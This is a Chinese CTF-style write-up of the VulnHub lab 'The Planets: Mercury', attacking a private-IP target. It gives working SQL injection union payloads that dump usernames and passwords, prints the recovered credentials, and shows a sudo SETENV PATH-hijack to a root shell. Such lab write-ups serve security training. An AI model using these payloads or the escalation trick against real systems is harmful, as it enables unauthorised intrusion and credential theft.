vulnhub The Planets: Mercury

渗透思路:

nmap扫描 ---- 从404页面获取网站路径 ---- sql注入获取系统用户名和密码 ---- base64解码得到另一个系统用户密码 ---- sudo SETENV提权

环境信息:

靶机:192.168.101.52

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.52

扫描到22端口ssh,以及8080端口,http-proxy,从扫描结果可以看到,状态码404和200的时候,响应报文的内容有显著不同。

2、404页面泄露网站路径

访问http://192.168.101.52:8080,没什么收获,只是说网站还在搭建

访问一个不存在的页面,比如我这次误打误撞根据nikto的扫描结果访问了http://192.168.101.52:8080/SilverStream,触发了404页面,根据该页面的信息,只有三种链接是可以访问的:

  1. http://192.168.101.52:8080
  2. http://192.168.101.52:8080/robots.txt
  3. http://192.168.101.52:8080/mercuryfacts/

第一个链接看过了,没啥营养,dirb扫描也没扫出什么鬼;

第二个如下所示,也没什么营养

访问http://192.168.101.52:8080/mercuryfacts/试试,终于看到点像样的东西了

点击Load a fact,来到http://192.168.101.52:8080/mercuryfacts/1/

注意url,一开始我想到的是既然有1就可能有2,3,4……没准哪个文件中有敏感信息,然后发现果然1~8都有,不过很可惜,都是关于水星的知识,没啥有用的。

点击See list,来到http://192.168.101.52:8080/mercuryfacts/todo

这里面有两个重要信息:

  1. users表有用户认证信息
  2. 网站目前是直接和mysql交互的

3、sql注入获得系统用户名和密码

浏览器地址栏尝试输入发现有sql报错信息,并且非常详细

从下图的sql语句可以知道3件事:

1、sql语句拼接用户输入参数,存在sql注入(虽然已经知道了)。

2、不需要闭合引号。

3、

http://192.168.101.52:8080/mercuryfacts/1/显示的查询结果只有一列

下面开始进行sql注入,目标是获得用户名和密码,没准可以用于ssh登录。

由于已经知道存在users表,因此首先浏览器输入如下payload获得users表的所有列名

http://192.168.101.52:8080/mercuryfacts/1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20and%20table_schema=database()/

 从上图可知users表的列有id,password和username。

再在浏览器中输入如下payload得到users表中的所有username和对应的password

http://192.168.101.52:8080/mercuryfacts/1%20union%20select%20group_concat(concat(username,0x7e,password))%20from%20users/

得到几对用户名密码:

john:johnny1987

laura:lovemykids111

sam:lovemybeer111

webmaster:mercuryisthesizeof0.056Earths

进行ssh登录尝试,发现只有webmaster能登录

ssh webmaster@192.168.101.52

webmaster家目录下user_flag.txt中得到一个flag

4、base64解码得到linuxmaster用户密码

进入/home/webmaster/mercury_proj目录,发现有个文件叫notes.txt

查看到其内容如下

看起来像是用户名和密码,除了当前用户webmaster的,还有linuxmaster的。

密码像是base64编码的,解码一下linuxmaster的密码:

echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 --decode

得到linuxmaster的密码为mercurymeandiameteris4880km

尝试用linuxmaster用户进行ssh登录,登录成功

5、sudo SETENV提权

linuxmaster用户shell下输入

sudo -l

并输入密码mercurymeandiameteris4880km,发现其sudo权限是

(root : root) SETENV: /usr/bin/check_syslog.sh

看一下/usr/bin/check_syslog.sh的内容

内容很简单,就是用tail命令看/var/log/syslog的尾部10行。

之前没见过sudoers中配置SETENV的。

网上查了一下,发现sudo运行时默认会启用env_reset选项将命令行设置的环境变量复原,而SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量sudo+SETENV(环境变量)提权 - 隐念笎 - 博客园)。

这样一来,就可以自己写个提权的脚本,命名为tail,然后将其所在目录设置在$PATH的最前面,这样使用sudo命令执行/usr/bin/check_syslog.sh的时候,系统调用的tail命令实际上是我自己写的提权脚本。

提权脚本很简单,内容就是/bin/bash

echo "/bin/bash" > tail

然后给它可执行的权限

chmod +x tail

然后设置环境变量,把当前目录(linuxmaster的家目录,也是提权脚本tail所在目录)放在$PATH变量最前面

export PATH=.:$PATH

最后sudo执行/usr/bin/check_syslog.sh

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

立刻提权到root

获得root的flag

题外话:

虽然网站目录扫描对这个靶机没啥意义,但是这次遇到了gobuster的一个之前没遇到过的功能,所以想记录一下。

简单来说,gobuster默认只不显示404的扫描结果,但这次显示了太多的301,其实是无意义的结果,可以用-b把无意义的状态码排除掉,就像下面这样:

​
gobuster dir --url http://192.168.101.52:8080/mercuryfacts/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404,301

​

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值